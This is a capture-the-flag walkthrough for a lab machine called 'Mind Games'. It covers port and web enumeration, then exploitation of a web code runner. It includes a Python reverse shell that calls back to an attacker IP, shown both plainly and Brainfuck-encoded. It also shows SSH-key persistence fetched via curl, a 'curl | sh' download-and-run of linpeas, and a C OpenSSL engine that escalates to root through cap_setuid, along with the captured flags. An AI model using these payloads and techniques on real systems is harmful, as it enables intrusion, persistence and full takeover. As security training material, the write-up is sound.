Mind Games Capture The Flag

Mind Games Capture The Flag

October 1, 2022

No hints. Hack it. Don’t give up if you get stuck, enumerate harder

Port Enumeration

First we started by scanning ports on the target machine using the following command:

nmap --top-ports 1000 -sV -sC -oN nmap-results-scripts.txt <IP>

Reviewing the results from Nmap we find 2 ports open, ssh and http.

Nmap scan report for 10.10.117.35
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 24:4f:06:26:0e:d3:7c:b8:18:42:40:12:7a:9e:3b:71 (RSA)
|   256 5c:2b:3c:56:fd:60:2f:f7:28:34:47:55:d6:f8:8d:c1 (ECDSA)
|_  256 da:16:8b:14:aa:58:0e:e1:74:85:6f:af:bf:6b:8d:58 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Mindgames.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

Prior to navigating to the webserver via a browser, we start a web enumeration using ffuf.

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.117.35/FUZZ -e .php,.js

Reviewing the results we observe its running javascript, but not much else of interest from the web fuzzer.


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.117.35/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .php .js 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

main.js                 [Status: 200, Size: 1076, Words: 214, Lines: 27, Duration: 323ms]
:: Progress: [61407/61407] :: Job [1/1] :: 122 req/sec :: Duration: [0:08:34] :: Errors: 0 ::

Website

Navigating to the webserver via a browser, we’re presented with a webpage that has a new “programming product” for us. It has a text box for running code and code examples for “Hello, World” and Fibonacci sequence in an esoteric programming language.

This esoteric programming language is immediately recognisable as Brainfuck.

Running the examples on the website, we can observe the expected program output.

To help us understand whats happening with the language, there are encoder and decoders available for Brainfuck:

https://www.dcode.fr/brainfuck-language

https://copy.sh/brainfuck/text.html

Converting the “Hello, World” example produces the following result:

Input

+[------->++<]>++.++.---------.+++++.++++++.+[--->+<]>+.------.++[->++<]>.-[->+++++<]>++.+++++++..+++.[->+++++<]>+.------------.---[->+++<]>.-[--->+<]>---.+++.------.--------.-[--->+<]>+.+++++++.>++++++++++.

Output

print("Hello, World")

Now analysing the other code example.

Input

--[----->+<]>--.+.+.[--->+<]>--.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.++[++>---<]>+.-[-->+++<]>--.>++++++++++.[->+++<]>++....-[--->++<]>-.---.[--->+<]>--.+[----->+<]>+.-[->+++++<]>-.--[->++<]>.+.+[-->+<]>+.[-->+++<]>+.+++++++++.>++++++++++.[->+++<]>++........---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.[-->+++<]>+.>++++++++++.[->+++<]>++....---[----->++<]>.-------------.[--->+<]>---.+.---.----.-[->+++++<]>-.+++[->++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.++++.--------.++.-[--->+++++<]>.[-->+<]>+++++.[--->++<]>--.[----->++<]>+.+++++.---------.>++++++++++...[--->+++++<]>.+++++++++.+++.[-->+++++<]>+++.-[--->++<]>-.[--->+<]>---.-[--->++<]>-.+++++.-[->+++++<]>-.---[----->++<]>.+++[->+++<]>++.+++++++++++++.-------.--.--[->+++<]>-.+++++++++.-.-------.-[-->+++<]>--.>++++++++++.[->+++<]>++....[-->+++++++<]>.++.---------.+++++.++++++.+[--->+<]>+.-----[->++<]>.[-->+<]>+++++.-----[->+++<]>.[----->++<]>-..>++++++++++.

Output

def F(n):
    if n <= 1:
        return 1
    return F(n-1)+F(n-2)


for i in range(10):
    print(F(i))

Well, that is very recognisable python code. So we should be able to write a python reverse shell, encode it in brainfuck and run it on the webserver.

Brainfuck Reverse Shell

Navigating to GTFObins, we obtain a python reverse shell. We have to slightly modify the example because the code runner on the website is a python interpreter and as such we cannot export environment variables or make calls to python.

Here the example uses an attacker IP of 10.9.0.68

import sys,socket,os,pty;s=socket.socket()
s.connect(("10.9.0.68",4242))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

Encoding this with Brainfuck results in:

+[----->+++<]>++.++++.+++.-.+++.++.[---->+<]>+++.---[->++++<]>-.++++++.------.-[++>---<]>+.-[--->++<]>+.----.------------.++++++++.------.[--->+<]>---.[++>---<]>--.-[----->+<]>.++++.-[++>---<]>+.-[----->+<]>+.++++.+++++.-[-->+<]>-.-[->++<]>-.+[-->+<]>+++.---[->++<]>-.----.------------.++++++++.------.[--->+<]>---.[++>---<]>.[--->++<]>-.----.------------.++++++++.------.[--->+<]>---.+[--->+<]>+.+.>++++++++++.+[--------->+<]>.+[++>---<]>.--[--->+<]>-.++++++++++++.-..---------.--.-[--->+<]>--.+[--->+<]>+..------.[-->+++<]>--.-.--.+++++++++++.-----------.++.--.++++++++.++.++[->+++++<]>.++++++++++.++++++++.--.++.--.---------..>++++++++++.[--->++<]>-.+[->++++<]>-.++++.+[++>---<]>.--[--->+<]>.--[--->+<]>-.-----.[->+++++<]>++.----------.--[->+++<]>+.+[++>---<]>.+[--->+<]>+.+++.+++.-------.+++++++++.+.+[++>---<]>.+.+++.[--->+<]>++.--.-[->+++<]>.---------.++[->+++<]>.+++++++++.+++.[-->+++++<]>+++.++[->+++<]>.--.-[--->+<]>-.-[--->++<]>-.+++++.-[->+++++<]>-.++++++++.++++++++.----.+++++.-----.++++++.---------.-[------>+<]>+.>++++++++++.-[------->+<]>+.++++.+++++.-----[++>---<]>.[--->++<]>-.---.[----->++<]>+.+[--->+<]>+.---------.++[++>---<]>.------.+++++++++++++.++[->++<]>.+++++++.+++++.++[->+++++<]>-.-[--->++<]>-.-----------.--[--->+<]>.+++++++.

We our rev shell payload generated, first we set up our netcat listener to receive the reverse shell on our local machine.

nc -lvp 4242

Now we execute the brainfuck rev shell payload on the website.

┌──(kali㉿kali)-[~]
└─$ nc -lvp 4242
listening on [any] 4242 ...
10.10.11.203: inverse host lookup failed: Unknown host
connect to [10.9.0.68] from (UNKNOWN) [10.10.11.203] 59772
$ 

Success!

User Flag

With shell access to the target machine, lets explore to find the user flag.

$ ls
ls
resources  server
$ pwd
pwd
/home/mindgames/webserver
$ 

Navigating to mindgames home directory.

$ cd ~
cd ~
$ ls
ls
user.txt  webserver
$ cat user.txt  
cat user.txt
thm{411f7d38247ff441ce4e134b459b6268}
$ 

We found the user flag and retrieved its value.

Persist

Prior to exploring privilige escalation, we can persist ourselves on the server and obtain a more durable shell in the process.

We know the server supports ssh, so lets install our own ssh key on the target under the mindgames user.

If you don’t already have a ssh key pair generated, generate one using ssh-keygen.

Following the default guided generation process, you’ll have a new ssh key pair generated id_rsa and id_rsa.pub

Navigate to the location of these keys on your local machine and run a python http server to host them to the target.

python3 -m http.server --bind 10.9.0.68 8000

Now on the target machine, create the following folder structure under the user home directory ~/.ssh/.

$ cd ~
cd ~
$ mkdir -p ~/.ssh/
mkdir -p ~/.ssh/
$ 

Now navigate to the .ssh folder and run the curl command to download the id_rsa.pub and install it as a valid key for the mindgames user under the authorized_keys file.

$ curl http://10.9.0.68:8000/id_rsa.pub >> authorized_keys
curl http://10.9.0.68:8000/id_rsa.pub >> authorized_keys
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   563  100   563    0     0    876      0 --:--:-- --:--:-- --:--:--   875

Now we can login via ssh using our id_rsa keypair under the mindgames user.

ssh -i id_rsa mindgames@10.10.11.203

Privilege escalation enumeration

Now onto the root flag. We now have to find a way to escalate our privileges to root.

We begin by enumerating the linux machine using linpeas

First we need to get the linpeas.sh enumeration script onto the target. Identical to our approach for installing the ssh public key, we will download the linpeas.sh script locally and use a python http server to upload it to the target.

Linpeas can be downloaded from here if you don’t already have it available.

Now navigate to where the linpeas.sh script resides and run a python http server.

python3 -m http.server --bind 10.9.0.65 8000

Now on the target machine, use curl to download and pipe to sh the script.

curl http://10.9.0.65:8000/linpeas.sh | sh

Wait for the linpeas.sh enumeration script to complete and then review its output.

Reviewing the output of linpeas, we observe the following interesting privesc vectors.

╔══════════╣ CVEs Check
Vulnerable to CVE-2021-4034    


╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services                          
/etc/systemd/system/multi-user.target.wants/server.service is calling this writable executable: /home/mindgames/webserver/server                                                                          
/etc/systemd/system/server.service is calling this writable executable: /home/mindgames/webserver/server                                                                                                  
You can't write on systemd PATH


╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                      
Current capabilities:                                                                                
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep is writable

We know we can reliably get root using the CVE-2021-4034 exploit via metasploit, but we know this is not the intended privesc path for the CTF.

Next point of interest is the .service files. Reviewing the link provided in the linpeas output (https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services) it appears as though we can modify or replace the binary under the mindgames control that runs as a service as a way of creating a backdoor into the server. This allows us to persist our presence another way to the ssh keys technique we used above. This is interesting but doesn’t appear to be a way for us to escalate our privileges.

The other item we noted in the linpeas output was the opensll cap_setuid+ep. With openssl having the setuid capability set, if we can execute arbitary code via openssl, we will be able to utilise it to set our uid to that of root.

Some googling for openssl cap_setuid+ep exploit, it seems there is a method to execute arbitary code and exploit the cap_setuid+ep.

https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/

Openssl setuid capability privesc attack

Following the blog post we begin by writing our own openssl engine that will run our exploit code to set our uid as root and spawn a bash shell.

If you haven’t already, you’ll need the build-essential packages to compile C code for linux. Run the following command on your local machine:

sudo apt install build-essential

Next you’ll need to ensure you have the ssl developer libraries and headers to compile the openssl engine. Run the following command on your local machine:

sudo apt install libssl-dev

We all the prerequisites, lets code our exploit.

Create a new C file on your local machine ssl-setuid.c.

In the file write the following C code:

#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id)
{
  setuid(0); setgid(0);
  system("/bin/bash");
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()   

Now compile your engine as a shared library run the following commands.

gcc -fPIC -o ssl-setuid.o -c ssl-setuid.c

gcc -shared -o ssl-setuid.so -lcrypto ssl-setuid.o

You’ll have a shared library ssl-setuid.so as output.

Now, we upload to our target. We can utilise the same python http server method as above. Alternatively, if you set up ssh persistence, we can use scp to copy the file to the target.

scp -i id_rsa ssl-setuid.so mindgames@10.10.11.203:~

Now on the target machine navigate to the location of the ssl-setuid.so shared library we just uploaded. We can now run openssl passing our custom engine with our exploit code and exploit the cap_setuid+ep to set our uid to root and spawn a bash shell.

mindgames@mindgames:~$ openssl req -engine ./ssl-setuid.so 
root@mindgames:~# whoami
root
root@mindgames:~# 

We have root!

Root flag

With root, lets navigate to the root home directory where the flag is most likely to be located.

root@mindgames:~# cd /root
root@mindgames:/root# ls
root.txt
root@mindgames:/root# cat root.txt 
thm{1974a617cc84c5b51411c283544ee254}

We have the root flag and we’re done!

Last updated on